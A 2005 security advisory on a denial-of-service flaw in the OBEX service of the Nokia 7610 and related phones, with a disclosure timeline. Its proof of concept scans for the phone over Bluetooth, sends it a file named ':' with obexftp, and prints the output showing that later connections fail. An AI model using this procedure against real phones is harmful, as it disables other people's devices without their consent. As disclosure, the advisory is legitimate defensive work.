[NEWS] Nokia OBEX DoS

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Nokia OBEX DoS
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SUMMARY

OBEX - "Object Exchange: a set of high-level protocols allowing objects
such as vCard contact information and vCalendar schedule entries to be
exchanged using either IrDA (IrOBEX) or Bluetooth. Symbian OS implements
IrOBEX".

A flaw in the OBEX implementation of Nokia 7610 and other models, allows
attackers to disable the OBEX service by sending archives that contain the
name ":" or "\".

DETAILS

Vulnerable Systems:
* Nokia 7610, Nokia 3210
* OBEX implementation in Nokia 7610 (V4.0.437 15-09-04 RH51)

Proof of concept:
jim:~# hcitool scan
Scanning ...
00:13:70:5E:1F:01 7610

jim:~# obexftp -b 00:13:70:5E:1F:01 -p \:
Browsing 00:13:70:5E:1F:01 ...
Channel: 10
No custom transport
obexftp_cli_open()
obexftp_cli_connect_uuid()
Connecting...obexftp_cli_connect_uuid() BT 1
cli_sync_request()
obexftp_sync()
client_done()
client_done() Found connection number: -1022384746
client_done() Sender identified
obexftp_sync() OBEX_HandleInput = 31
obexftp_sync() Done success=1
done
Sending ":"... obexftp_put_file() Sending : -> :
build_object_from_file() Lastmod = 2005-09-18T00:16:42Z
cli_sync_request()
cli_fillstream_from_file()
cli_fillstream_from_file() Read 6 bytes
cli_fillstream_from_file()
cli_fillstream_from_file() Read 0 bytes
obexftp_sync()
obexftp_sync() OBEX_HandleInput = 0
failed: :
obexftp_cli_disconnect()
Disconnecting...cli_sync_request()
failed: disconnect
obexftp_cli_close()

# Error pushing other file after send ":" filename:

jim:~# obexftp -b 00:13:70:5E:1F:01 -p /etc/hosts
Browsing 00:13:70:5E:1F:01 ...
Channel: 10
No custom transport
obexftp_cli_open()
obexftp_cli_connect_uuid()
Connecting...obexftp_cli_connect_uuid() BT -1
failed: connect
Still trying to connect
obexftp_cli_connect_uuid()
Connecting...obexftp_cli_connect_uuid() BT -1
failed: connect
Still trying to connect
obexftp_cli_connect_uuid()
Connecting...obexftp_cli_connect_uuid() BT -1
failed: connect
Still trying to connect

Disclosure Timeline:
20.09.2005 - Bug found
21.09.2005 - Nokia security contacted
24.09.2005 - Disclosure in NCN - V congress (http://www.noconname.org)
26.09.2005 - Full disclosure

ADDITIONAL INFORMATION

The information has been provided by <mailto:aramosf@unsec.net> A.
Ramos..

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